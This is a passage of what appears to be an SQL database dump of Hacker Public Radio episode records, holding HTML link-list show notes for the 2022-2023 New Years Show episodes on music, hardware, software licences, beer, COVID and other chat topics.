your\nmusic, everywhere. Upload your personal library to your pod, share it\nwith friends and family, and discover talented creators.</li>\n<li><a href=\"https://www.mumble.info/\">mumble:</a> Mumble is a free,\nopen source, low latency, high quality voice chat application.</li>\n<li><a href=\"https://www.youtube.com/watch?v=8e1xvyTdBZI\">youtube:</a>\nErnie (The Fastest Milkman In The West).\n<ul>\n<li>Why?!</li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/watch?v=sFacWGBJ_cs\">youtube:</a>\nShaddap You Face - Joe Dolce.</li>\n<li><a href=\"https://www.ironmaiden.com/\">ironmaiden:</a> Iron Maiden\nare an English heavy metal band formed in Leyton, East London, in 1975\nby bassist and primary songwriter Steve Harris.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Kamelot\">wikipedia:</a>\nKamelot is an American power metal band from Tampa, Florida, formed by\nThomas Youngblood, in 1987.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nightwish\">wikipedia:</a>\nNightwish is a Finnish symphonic metal band from Kitee.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Kitee\">wikipedia:</a> Kitee\nis a town and a municipality of Finland. It is located in the province\nof Eastern Finland and is part of the North Karelia region.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Evanescence\">wikipedia:</a>\nEvanescence is an American rock band founded in Little Rock, Arkansas in\n1995 by singer and musician Amy Lee and guitarist Ben Moody.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Deep_Purple\">wikipedia:</a>\nDeep Purple are an English rock band formed in London in 1968.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Pink_Floyd\">wikipedia:</a>\nPink Floyd are an English rock band formed in London in 1965.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Black_Sabbath\">wikipedia:</a>\nBlack Sabbath were an English rock band formed in Birmingham in 1968 by\nguitarist Tony Iommi, drummer Bill Ward, bassist Geezer Butler and\nvocalist Ozzy Osbourne.</li>\n<li><a href=\"https://www.toastmasters.org/\">toastmasters</a>\nToastmasters International is a nonprofit educational organization that\nteaches public speaking and leadership skills through a worldwide\nnetwork of clubs.</li>\n<li><a href=\"https://www.bbc.com/\">bbc:</a> The British Broadcasting\nCorporation is the national broadcaster of the United Kingdom, based at\nBroadcasting House in London.</li>\n<li><a href=\"https://matrix.org/\">matrix:</a> An open network for\nsecure, decentralized communication.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/General_Data_Protection_Regulation\">wikipedia:</a>\nThe General Data Protection Regulation is a Regulation in EU law on data\nprotection and privacy in the EU and the European Economic Area.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Gopher_(protocol)\">wikipedia:</a>\nThe Gopher protocol (/&#x2C8;&#x261;o&#x28A;f&#x259;r/) is a communication protocol designed for\ndistributing, searching, and retrieving documents in Internet Protocol\nnetworks.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Gemini_(protocol)\">wikipedia:</a>\nGemini is an application-layer internet communication protocol for\naccessing remote documents, similar to the Hypertext Transfer Protocol\n(HTTP) and Gopher.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Slipknot_(band)\">wikipedia:</a>\nSlipknot is an American heavy metal band formed in Des Moines, Iowa, in\n1995 by percussionist Shawn Crahan, drummer Joey Jordison and bassist\nPaul Gray.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/After_Forever\">wikipedia:</a>\nAfter Forever was a Dutch symphonic metal band with strong progressive\nmetal influences. The band relied on the use of both soprano vocals and\ndeath growls.</li>\n<li><a href=\"https://metallica.com/\">metallica:</a> Metallica is an\nAmerican heavy metal band.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Queen_(band)\">wikipedia:</a>\nQueen are a British rock band formed in London in 1970 by Freddie\nMercury (lead vocals, piano), Brian May (guitar, vocals) and Roger\nTaylor (drums, vocals), later joined by John Deacon (bass).</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Brexit\">wikipedia:</a> Brexit\n(a portmanteau of \"British exit\") was the withdrawal of the United\nKingdom (UK) from the European Union (EU) at 23:00 GMT on 31 January\n2020 (00:00 1 February 2020 CET). The UK is the only sovereign country\nto have left the EU or the EC.</li>\n<li><a href=\"https://www.imdb.com/title/tt0057793/\">imdb:</a> A WWII\nbomb group commander must fill the shoes of his predecessor and get the\nperformance rating up to snuff.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Twelve_O%27Clock_High\">wikipedia:</a>\nTwelve O\'Clock High is a 1949 American war film about aircrews in the\nUnited States Army\'s Eighth Air Force, who flew daylight bombing\nmissions against Germany and Occupied France during the early days of\nAmerican involvement in World War II.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Boeing_B-17_Flying_Fortress\">wikipedia:</a>\nThe Boeing B-17 Flying Fortress is a four-engined heavy bomber developed\nin the 1930s for the United States Army Air Corps (USAAC).</li>\n<li><a href=\"https://www.computerhope.com/jargon/i/irc.htm\">IRC</a> IRC\nis short for Internet Relay Chat. It is a popular chat service still in\nuse today.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Next_Unit_of_Computing\">wikipedia:</a>\nNext Unit of Computing (NUC) is a line of small-form-factor barebone\ncomputer kits designed by Intel.</li>\n<li><a href=\"https://www.plex.tv/media-server-downloads/\">plex:</a> With\nour easy-to-install Plex Media Server software and Plex apps on the\ndevices of your choosing, you can stream your video, music, and photo\ncollections any time, anywhere, to whatever you want.</li>\n<li><a href=\"https://ubuntu.com/\">ubuntu:</a> Ubuntu is a Linux\ndistribution based on Debian and composed mostly of free and open-source\nsoftware.</li>\n<li><a href=\"https://www.ebay.com/\">ebay:</a> Buy &amp; sell\nelectronics, cars, clothes, collectibles &amp; more on eBay, the world\'s\nonline marketplace.</li>\n<li><a\nhref=\"https://www.amazon.com/refurbished/s?k=refurbished\">amazon:</a>\nAmazon Renewed is your trusted destination for pre-owned, refurbished\nproducts.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Ryzen\">wikipedia:</a> Ryzen\nis a brand of multi-core x86-64 microprocessors designed and marketed by\nAMD for desktop, mobile, server, and embedded platforms based on the Zen\nmicroarchitecture.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Apple_M1\">wikipedia:</a>\nApple M1 is a series of ARM-based systems-on-a-chip (SoCs) designed by\nApple Inc. as a central processing unit (CPU) and graphics processing\nunit (GPU) for its Mac desktops and notebooks, and the iPad Pro and iPad\nAir tablets.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Apple_M2\">wikipedia:</a> The\nApple M2 is an ARM-based system on a chip (SoC) designed by Apple Inc.\nas a central processing unit (CPU) and graphics processing unit (GPU)\nfor its Mac notebooks and the iPad Pro tablet.</li>\n</ul></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/System_on_a_chip\">wikipedia:</a> A\nsystem on a chip or system-on-chip (SoC /&#x2CC;&#x2C8;&#x25B;so&#x28A;si&#x2D0;/; pl. SoCs\n/&#x2CC;&#x2C8;&#x25B;so&#x28A;si&#x2D0;z/) is an integrated circuit that integrates most or all\ncomponents of a computer or other electronic system.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/ARM_architecture_family\">wikipedia:</a>\nARM (stylised in lowercase as arm, formerly an acronym for Advanced RISC\nMachines and originally Acorn RISC Machine) is a family of reduced\ninstruction set computer (RISC) instruction set architectures for\ncomputer processors, configured for various environments.</li>\n<li><a\nhref=\"https://www.youtube.com/channel/UCBZ1wrhV3ZiGCwjBP1Bcs_A\">youtube:</a>\nOne Woman&#x2019;s Wilderness.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Felix_Unger\">wikipedia:</a>\nFelix Unger (born 2 March 1946 in Klagenfurt, Austria) is a heart\nspecialist who served as the president of the European Academy of\nSciences and Arts for three decades.</li>\n<li><a\nhref=\"https://geekflare.com/create-apt-proxy-on-raspberrypi/\">geekflare:</a>\nHow to create APT Proxy using a Raspberry PI with apt-cacher-ng?</li>\n<li><a href=\"https://www.gpd.hk/gpdwin4\">gpd:</a> The world\'s smallest\n6800U handheld Exclusive performance optimization tool Support SteamOS\nsystem.</li>\n<li><a\nhref=\"https://www.pine64.org/devices/single-board-computers/rock64/\">pine64:</a>\nROCK64 is a credit card sized Single Board Computer powered by Rockchip\nRK3328 quad-core ARM Cortex A53 64-Bit Processor and support up to 4GB\n1600MHz LPDDR3 memory.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Digital_subscriber_line\">wikipedia:</a>\nDigital subscriber line (DSL; originally digital subscriber loop) is a\nfamily of technologies that are used to transmit digital data over\ntelephone lines.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux\">wikipedia:</a>\nWindows Subsystem for Linux (WSL) is a feature of Windows that allows\ndevelopers to run a Linux environment without the need for a separate\nvirtual machine or dual booting.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Virtual_machine\">wikipedia:</a> In\ncomputing, a virtual machine (VM) is the virtualization/emulation of a\ncomputer system.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Chromebook\">wikipedia:</a> A\nChromebook (sometimes stylized in lowercase as chromebook) is a laptop\nor tablet running the Linux-based ChromeOS as its operating system.</li>\n<li><a href=\"https://www.virtualbox.org\">virtualbox:</a> VirtualBox is a\npowerful x86 and AMD64/Intel64 virtualization product for enterprise as\nwell as home use.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Telemetry\">wikipedia:</a>\nTelemetry is the in situ collection of measurements or other data at\nremote points and their automatic transmission to receiving equipment\n(telecommunication) for monitoring.</li>\n<li><a href=\"https://www.gnu.org/licenses/licenses.html\">gnu:</a>\nPublished software should be free software. To make it free software,\nyou need to release it under a free software license.</li>\n<li><a\nhref=\"https://www.microsoft.com/en-us/UseTerms/Retail/Windows/11/UseTerms_Retail_Windows_11_English.htm\">microsoft:</a>\nMICROSOFT SOFTWARE LICENSE TERMS.</li>\n<li><a href=\"https://www.apple.com/legal/sla/\">apple:</a> software\nlicense agreements for currently shipping Apple products.</li>\n<li><a\nhref=\"https://www.cdc.gov/phlp/publications/topic/hipaa.html\">cdc:</a>\nHealth Insurance Portability and Accountability Act of 1996\n(HIPAA).</li>\n<li><a href=\"https://www.nhs.uk/\">nhs:</a> The NHS website for\nEngland.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Ransomware\">wikipedia:</a>\nRansomware is a type of malware from cryptovirology that threatens to\npublish the victim\'s personal data or permanently block access to it\nunless a ransom is paid off.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Internet_Explorer\">wikipedia:</a>\nInternet Explorer (formerly Microsoft Internet Explorer and Windows\nInternet Explorer, commonly abbreviated IE or MSIE) is a discontinued\nseries of graphical web browsers developed by Microsoft which was used\nin the Windows line of operating systems.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Microsoft_Edge\">wikipedia:</a>\nMicrosoft Edge is a proprietary, cross-platform web browser created by\nMicrosoft.</li>\n<li><a href=\"https://www.oggcamp.org/\">oggcamp:</a> OggCamp is an\nunconference celebrating Free Culture, Free and Open Source Software,\nhardware hacking, digital rights, and all manner of collaborative\ncultural activities and is committed to creating a conference that is as\ninclusive as possible.</li>\n<li><a href=\"https://2022.penguicon.org/\">penguicon:</a> A happy place\nwhere hackers, makers, foodies, open source software junkies, anime\nbuffs, and science fiction fans of all ages and backgrounds come\ntogether.</li>\n<li><a href=\"https://www.mozillafestival.org/en/\">mozillafestival:</a>\nMozFest is a unique hybrid: part art, tech and society convening, part\nmaker festival, and the premiere gathering for activists in diverse\nglobal movements fighting for a more humane digital world.</li>\n<li><a href=\"https://fosdem.org/2023/\">fosdem:</a> FOSDEM is a free\nevent for software developers to meet, share ideas and collaborate.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Hybrid_integrated_circuit\">wikipedia:</a>\nA hybrid integrated circuit (HIC), hybrid microcircuit, hybrid circuit\nor simply hybrid is a miniaturized electronic circuit constructed of\nindividual devices, such as semiconductor devices (e.g. transistors,\ndiodes or monolithic ICs) and passive components (e.g. resistors,\ninductors, transformers, and capacitors), bonded to a substrate or\nprinted circuit board (PCB).</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Real-time_clock\">wikipedia:</a> A\nreal-time clock (RTC) is an electronic device (most often in the form of\nan integrated circuit) that measures the passage of time.</li>\n<li><a href=\"https://eurovision.tv/\">eurovision:</a> The Eurovision Song\nContest.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Blue_law\">wikipedia:</a> Blue\nlaws, also known as Sunday laws, Sunday trade laws and Sunday closing\nlaws, are laws restricting or banning certain activities on specified\ndays, usually Sundays in the western world.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Census\">wikipedia:</a> A\ncensus is the procedure of systematically acquiring, recording and\ncalculating information about the members of a given population.</li>\n<li><a\nhref=\"https://www.businesspundit.com/the-commercialization-our-25-favorite-holidays/\">businesspundit:</a>\nThe Commercialization Of Our 25 Favorite Holidays</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Leave_It_to_Beaver\">wikipedia:</a>\nLeave It to Beaver is an iconic American television situation comedy\nabout an American family of the 1950s and early 1960s.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/COVID-19_pandemic\">wikipedia:</a>\nThe COVID-19 pandemic, also known as the coronavirus pandemic, is an\nongoing global pandemic of coronavirus disease 2019 (COVID-19) caused by\nsevere acute respiratory syndrome coronavirus 2 (SARS-CoV-2). The novel\nvirus was first identified in an outbreak in the Chinese city of Wuhan\nin December 2019.</li>\n<li><a\nhref=\"https://www.who.int/westernpacific/emergencies/covid-19/information/transmission-protective-measures\">who:</a>\nCOVID-19 transmission and protective measures.</li>\n<li><a\nhref=\"https://www.forbes.com/sites/brucelee/2020/06/13/cdc-10-ways-to-dine-safely-at-a-restaurant-with-coronavirus-around/?sh=156b74656444\">forbes:</a>\nCDC: 10 Ways To Dine Safely At A Restaurant With Coronavirus\nAround.</li>\n<li><a\nhref=\"https://restaurant.org/nra/media/downloads/pdfs/business/covid-19-restaurant-impact-survey-september-2021.pdf\">restaurant:</a>\nCOVID-19 Restaurant Impact Survey.</li>\n<li><a href=\"https://www.subway.com/en-us\">subway:</a> Subway is an\nAmerican multinational fast food restaurant franchise that specializes\nin submarine sandwiches, wraps, salads and drinks.</li>\n<li><a href=\"https://dominos.com/\">dominos:</a> Domino\'s Pizza, Inc.,\ntrading as Domino\'s, is a Michigan-based multinational pizza restaurant\nchain founded in 1960 and led by CEO Russell Weiner.</li>\n<li><a href=\"https://www.mcdonalds.com/us/en-us.html\">mcdonalds:</a>\nMcDonald\'s Corporation is an American multinational fast food chain,\nfounded in 1940 as a restaurant operated by Richard and Maurice\nMcDonald, in San Bernardino, California, United States.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Social_distancing\">wikipedia:</a> In\npublic health, social distancing, also called physical distancing, is a\nset of non-pharmaceutical interventions or measures intended to prevent\nthe spread of a contagious disease by maintaining a physical distance\nbetween people and reducing the number of times people come into close\ncontact with each other.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/COVID-19_lockdowns\">wikipedia:</a>\nDue to the COVID-19 pandemic, a number of non-pharmaceutical\ninterventions colloquially known as lockdowns (encompassing stay-at-home\norders, curfews, quarantines, cordons sanitaires and similar societal\nrestrictions) have been implemented in numerous countries and\nterritories around the world.\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/COVID-19_lockdowns_by_country\">wikipedia:</a>\nCOVID-19 lockdowns by country.</li>\n</ul></li>\n<li><a href=\"https://www.bbc.com/news/av/explainers-55048805\">bbc:</a>\nCovid-19: What is the new three tier system after lockdown?</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Telephone_directory\">wikipedia:</a>\nA telephone directory, commonly called a telephone book, telephone\naddress book, phonebook, or the white and yellow pages, is a listing of\ntelephone subscribers in a geographical area or subscribers to services\nprovided by the organization that publishes the directory.</li>\n<li><a\nhref=\"https://www.cdc.gov/diabetes/managing/manage-blood-sugar.html\">cdc:</a>\nIt&#x2019;s important to keep your blood sugar levels in your target range as\nmuch as possible to help prevent or delay long-term, serious health\nproblems, such as heart disease, vision loss, and kidney disease.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Whisky\">wikipedia:</a> Whisky\nor whiskey is a type of distilled alcoholic beverage made from fermented\ngrain mash.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Powerade\">wikipedia:</a>\nPowerade is a sports drink created, manufactured and marketed by The\nCoca-Cola Company.</li>\n<li><a href=\"https://katexic.com/word/busthead-bust-head/\">katexic:</a>\nbusthead (bust-head). noun. Cheap, strong liquor, usually of the illegal\nvariety.</li>\n<li><a href=\"https://www.skrewballwhiskey.com/\">skrewballwhiskey:</a>\nThe Original Peanut Butter Whiskey.</li>\n<li><a\nhref=\"https://olesmoky.com/products/peanut-butter-whiskey\">olesmoky:</a>\nPeanut Butter Whiskey.</li>\n<li><a\nhref=\"https://thepartysource.com/Blind-Squirrel-Peanut-Butter-Whiskey-750-ml\">thepartysource:</a>\nBlind Squirrel Peanut Butter Whiskey 750 ml.</li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3844,'2023-04-27','2022-2023 New Years Show Episode 6',7254,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-6\">Episode #6</h2>\n<ul>\n<li><p>Waygu Beef<br />\n<a href=\"https://wagyu.org/breed-info/what-is-wagyu/\"\nclass=\"uri\">https://wagyu.org/breed-info/what-is-wagyu/</a></p></li>\n<li><p>Tom Selleck<br />\n<a href=\"https://en.wikipedia.org/wiki/Tom_Selleck\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Tom_Selleck</a></p></li>\n<li><p>Mister Baseball (with Tom Selleck)<br />\n<a href=\"https://www.imdb.com/title/tt0104926/\"\nclass=\"uri\">https://www.imdb.com/title/tt0104926/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Mr._Baseball\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Mr._Baseball</a></p></li>\n<li><p>FOSDEM<br />\n<a href=\"https://fosdem.org/2023/\"\nclass=\"uri\">https://fosdem.org/2023/</a></p></li>\n<li><p>Budweiser<br />\n<a href=\"https://us.budweiser.com/\"\nclass=\"uri\">https://us.budweiser.com/</a></p></li>\n<li><p>\"Natty\" Light<br />\n<a href=\"https://www.naturallight.com/\"\nclass=\"uri\">https://www.naturallight.com/</a></p></li>\n<li><p>Twisted Tea<br />\n<a href=\"https://www.twistedtea.com/\"\nclass=\"uri\">https://www.twistedtea.com/</a></p></li>\n<li><p>Pisswasser<br />\n<a href=\"https://www.urbandictionary.com/define.php?term=Pi%C3%9Fwasser\"\nclass=\"uri\">https://www.urbandictionary.com/define.php?term=Pi%C3%9Fwasser</a></p></li>\n<li><p>Bud Light<br />\n<a href=\"https://www.budlight.com/\"\nclass=\"uri\">https://www.budlight.com/</a></p></li>\n<li><p>Jim Koch (Sam Adams Beer)<br />\n<a href=\"https://www.forbes.com/profile/jim-koch/?sh=6854744623d9\"\nclass=\"uri\">https://www.forbes.com/profile/jim-koch/?sh=6854744623d9</a></p></li>\n<li><p>Arch Linux<br />\n<a href=\"https://archlinux.org/\"\nclass=\"uri\">https://archlinux.org/</a></p></li>\n<li><p>Samson Q2U Microphone<br />\n<a\nhref=\"http://www.samsontech.com/samson/products/microphones/usb-microphones/q2u/\"\nclass=\"uri\">http://www.samsontech.com/samson/products/microphones/usb-microphones/q2u/</a></p></li>\n<li><p>ATR-2100 Microphone<br />\n<a href=\"https://www.audio-technica.com/en-us/atr2100-usb\"\nclass=\"uri\">https://www.audio-technica.com/en-us/atr2100-usb</a></p></li>\n<li><p>Devrandom Podcast<br />\n<a href=\"http://devrandomshow.org/\"\nclass=\"uri\">http://devrandomshow.org/</a></p></li>\n<li><p>Flavordex (Fdroid App)<br />\n<a href=\"https://f-droid.org/en/packages/com.ultramegasoft.flavordex2/\"\nclass=\"uri\">https://f-droid.org/en/packages/com.ultramegasoft.flavordex2/</a></p></li>\n<li><p>Castopod<br />\n<a href=\"https://nlnet.nl/project/Castopod/\"\nclass=\"uri\">https://nlnet.nl/project/Castopod/</a></p></li>\n<li><p>Lightning Network<br />\n<a href=\"https://lightning.network/\"\nclass=\"uri\">https://lightning.network/</a></p></li>\n<li><p>Bitcoin<br />\n<a href=\"https://bitcoin.org/en/\"\nclass=\"uri\">https://bitcoin.org/en/</a></p></li>\n<li><p>Patreon<br />\n<a href=\"https://www.patreon.com/\"\nclass=\"uri\">https://www.patreon.com/</a></p></li>\n<li><p>Substack<br />\n<a href=\"https://substack.com/\"\nclass=\"uri\">https://substack.com/</a></p></li>\n<li><p>Dynamic Ad Insertion for Podcasts<br />\n<a\nhref=\"https://www.tritondigital.com/news-item/November-30-2020/podcast-dynamic-ad-insertion-101-what-radio-broadcasters-need-to-know\"\nclass=\"uri\">https://www.tritondigital.com/news-item/November-30-2020/podcast-dynamic-ad-insertion-101-what-radio-broadcasters-need-to-know</a></p></li>\n<li><p>ADJUST<br />\n<a href=\"https://www.adjust.com/product/\"\nclass=\"uri\">https://www.adjust.com/product/</a></p></li>\n<li><p>CNC Machine<br />\n<a href=\"https://craftbuds.com/what-is-a-cnc-machine/\"\nclass=\"uri\">https://craftbuds.com/what-is-a-cnc-machine/</a></p></li>\n<li><p>Applovin<br />\n<a href=\"https://www.applovin.com/\"\nclass=\"uri\">https://www.applovin.com/</a></p></li>\n<li><p>Maintainable Podcast<br />\n<a href=\"https://www.maintainable.fm/\"\nclass=\"uri\">https://www.maintainable.fm/</a></p></li>\n<li><p>Ruby On Rails<br />\n<a href=\"https://rubyonrails.org/\"\nclass=\"uri\">https://rubyonrails.org/</a></p></li>\n<li><p>Thinking Elixir (podcast)<br />\n<a href=\"https://podcast.thinkingelixir.com/\"\nclass=\"uri\">https://podcast.thinkingelixir.com/</a></p></li>\n<li><p>Distro Hoppers Digest (Podcast)<br />\n<a href=\"https://distrohoppersdigest.blogspot.com/\"\nclass=\"uri\">https://distrohoppersdigest.blogspot.com/</a></p></li>\n<li><p>Matrix<br />\n<a href=\"https://matrix.org/\"\nclass=\"uri\">https://matrix.org/</a></p></li>\n<li><p>MIT License<br />\n<a href=\"https://en.wikipedia.org/wiki/MIT_License\"\nclass=\"uri\">https://en.wikipedia.org/wiki/MIT_License</a><br />\n<a href=\"https://opensource.org/licenses/MIT\"\nclass=\"uri\">https://opensource.org/licenses/MIT</a></p></li>\n<li><p>BSD 2-Clause License<br />\n<a\nhref=\"https://en.wikipedia.org/wiki/BSD_licenses#2-clause_license_(%22Simplified_BSD_License%22_or_%22FreeBSD_License%22)\"\nclass=\"uri\">https://en.wikipedia.org/wiki/BSD_licenses#2-clause_license_(%22Simplified_BSD_License%22_or_%22FreeBSD_License%22)</a><br />\n<a href=\"https://opensource.org/licenses/BSD-2-Clause\"\nclass=\"uri\">https://opensource.org/licenses/BSD-2-Clause</a></p></li>\n<li><p>GPL License<br />\n<a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\"\nclass=\"uri\">https://en.wikipedia.org/wiki/GNU_General_Public_License</a><br />\n<a href=\"https://www.gnu.org/licenses/gpl-3.0.en.html\"\nclass=\"uri\">https://www.gnu.org/licenses/gpl-3.0.en.html</a></p></li>\n<li><p>Open UK License<br />\n<a href=\"https://en.wikipedia.org/wiki/Open_Government_Licence\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Open_Government_Licence</a></p></li>\n<li><p>Podcasting 2.0<br />\n<a href=\"https://origin.fm/blog/podcasting-2point0/\"\nclass=\"uri\">https://origin.fm/blog/podcasting-2point0/</a><br />\n<a href=\"https://9to5mac.com/2022/06/26/podcasting-2-0/\"\nclass=\"uri\">https://9to5mac.com/2022/06/26/podcasting-2-0/</a></p></li>\n<li><p>Podcast Chapter Marks<br />\n<a href=\"https://audioaudit.io/articles/podcast/chapters\"\nclass=\"uri\">https://audioaudit.io/articles/podcast/chapters</a></p></li>\n<li><p>AC/DC<br />\n<a href=\"https://www.acdc.com/\"\nclass=\"uri\">https://www.acdc.com/</a></p></li>\n<li><p>The British Lettuce Situation<br />\n<a href=\"https://en.wikipedia.org/wiki/Liz_Truss_lettuce\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Liz_Truss_lettuce</a></p></li>\n<li><p>AK-74<br />\n<a href=\"https://en.wikipedia.org/wiki/AK-74\"\nclass=\"uri\">https://en.wikipedia.org/wiki/AK-74</a></p></li>\n<li><p>M16<br />\n<a href=\"http://www.military-today.com/firearms/m16.htm\"\nclass=\"uri\">http://www.military-today.com/firearms/m16.htm</a></p></li>\n<li><p>M4<br />\n<a href=\"http://www.military-today.com/firearms/m4.htm\"\nclass=\"uri\">http://www.military-today.com/firearms/m4.htm</a></p></li>\n<li><p>Plumble<br />\n<a href=\"https://f-droid.org/packages/com.morlunk.mumbleclient/\"\nclass=\"uri\">https://f-droid.org/packages/com.morlunk.mumbleclient/</a></p></li>\n<li><p>WBP (Polish Weapon Manufacturer)<br />\n<a href=\"https://www.wbprogow.com/\"\nclass=\"uri\">https://www.wbprogow.com/</a></p></li>\n<li><p>What Does The Name \"Joe\" mean<br />\n<a href=\"https://www.thebump.com/b/joe-baby-name\"\nclass=\"uri\">https://www.thebump.com/b/joe-baby-name</a></p></li>\n<li><p>Ciaran (name meaning)<br />\n<a href=\"https://en.wikipedia.org/wiki/Ciar%C3%A1n\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Ciar%C3%A1n</a></p></li>\n<li><p>Tala (name meaning)<br />\n<a href=\"https://www.babycentre.co.uk/babyname/1036725/tala\"\nclass=\"uri\">https://www.babycentre.co.uk/babyname/1036725/tala</a></p></li>\n<li><p>Plate Tectonics<br />\n<a href=\"https://www.livescience.com/37706-what-is-plate-tectonics.html\"\nclass=\"uri\">https://www.livescience.com/37706-what-is-plate-tectonics.html</a></p></li>\n<li><p>Seattle<br />\n<a href=\"https://visitseattle.org/\"\nclass=\"uri\">https://visitseattle.org/</a></p></li>\n<li><p>Vancouver<br />\n<a href=\"https://www.destinationvancouver.com/\"\nclass=\"uri\">https://www.destinationvancouver.com/</a></p></li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3854,'2023-05-11','2022-2023 New Years Show Episode 7',7194,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-7\">Episode #7</h2>\n<ul>\n<li><a\nhref=\"https://www.huffpost.com/entry/vintage-slang-terms-drunk_n_4268480\">huffpost:</a>\nVintage Slang Terms For Being Drunk Are Hilarious A Century Later.</li>\n<li><a\nhref=\"https://www.theshrimpfarm.com/articles/cherry_shrimp_breeding.php\">theshrimpfarm:</a>\nRed Cherry Shrimp are one of the simplest animals to breed in the\naquarium.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Habsburg_family_tree\">wikipedia:</a>\nThis is a family tree of the Habsburg family.\n<ul>\n<li><a href=\"https://www.youtube.com/watch?v=36hM5bfLCI8\">youtube:</a>\nTHE HABSBURG: Their Inbred Family Tree was a Circle!- Explained with\nReal Life Faces.</li>\n</ul></li>\n<li><a href=\"https://www.ancestry.com/\">ancestry:</a> Ancestry helps you\nunderstand your genealogy.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/AK-47\">wikipedia:</a> The\nAK-47, officially known as the Avtomat Kalashnikova (Russian: &#x410;&#x432;&#x442;&#x43E;&#x43C;&#x430;&#x442;\n&#x41A;&#x430;&#x43B;&#x430;&#x448;&#x43D;&#x438;&#x43A;&#x43E;&#x432;&#x430;, lit.\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Mikhail_Kalashnikov\">wikipedia:</a>\nMikhail Timofeyevich Kalashnikov, IPA: 10 November 1919 &#x2013; 23 December\n2013) was a Soviet and Russian lieutenant general, inventor, military\nengineer, writer, and small arms designer.</li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/watch?v=cwUkeIZ11tk\">youtube:</a>\nReview new SV-18 12.7mm .50 caliber Kalashnikov sniper rifle Army-2019\ndefense exhibition Russia.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Gulag\">wikipedia:</a> The\nGulag was the government agency in charge of the Soviet network of\nforced labour camps which were set up by order of Vladimir Lenin,\nreaching its peak during Joseph Stalin\'s rule from the 1930s to the\nearly 1950s.</li>\n<li><a href=\"https://techandcoffee.info/\">techandcoffee:</a> A virtual\nwater cooler for the world of tech.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Hippie\">wikipedia:</a> A\nhippie, also spelled hippy, especially in British English, is someone\nassociated with the counterculture of the 1960s, originally a youth\nmovement that began in the United States during the mid-1960s and spread\nto different countries around the world.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Cult\">wikipedia:</a> In\nmodern English, cult is a term, by some considered pejorative, for a\nsocial group that is defined by its unusual religious, spiritual, or\nphilosophical beliefs and rituals, or its common interest in a\nparticular personality, object, or goal.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Deity\">wikipedia:</a> A deity\nor god is a supernatural being who is considered divine or sacred.</li>\n<li><a href=\"https://www.youtube.com/watch?v=ICmhG9FEBpU\">youtube:</a>\nMarty Moose Theme 